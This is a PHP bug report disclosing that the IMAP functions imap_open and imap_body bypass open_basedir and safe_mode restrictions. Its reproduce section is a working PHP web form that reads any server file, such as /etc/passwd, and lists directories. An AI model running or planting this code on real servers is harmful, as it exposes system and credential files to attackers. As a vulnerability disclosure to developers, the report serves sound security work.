From: Challii at btinternet dot com
Operating system: RHE3
PHP version: 4.4.2
PHP Bug Type: IMAP related
Bug description: imap_body able to bypass php_openbasedir
Description:
------------
Vulnerability in c-client library (tested with versions 2000,2001,2004),
mail_open
could be used to open stream to local files.
For php and imap module
imap_open allow to bypass safemode and open_basedir restrictions.
Use imap_body or others to view a file and imap_list to recursively list a
directory.
s/mailbox/file :)
imap_createmailbox
imap_deletemailbox
imap_renamemailbox
to create,delete,rename files with apache privileges.
Reproduce code:
---------------
##### code #####
<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>
<?php
$string = !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
if ($string && $switch == "file") {
$stream = imap_open($string, "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$str = imap_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$string = explode("|",$string);
if (count($string) > 1)
$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]\n";
echo "</pre>";
imap_close($stream);
}
?>
################
Expected result:
----------------
That the file could not be accessed due to a security permission
Actual result:
--------------
The ability to see any file on the server.
--
Edit bug report at http://bugs.php.net/?id=37265&edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=37265&r=trysnapshot44
Try a CVS snapshot (PHP 5.1):
http://bugs.php.net/fix.php?id=37265&r=trysnapshot51
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=37265&r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37265&r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=37265&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=37265&r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=37265&r=needscript
Try newer version: http://bugs.php.net/fix.php?id=37265&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=37265&r=support
Expected behavior: http://bugs.php.net/fix.php?id=37265&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=37265&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=37265&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37265&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=37265&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37265&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=37265&r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=37265&r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=37265&r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=37265&r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=37265&r=mysqlcfg
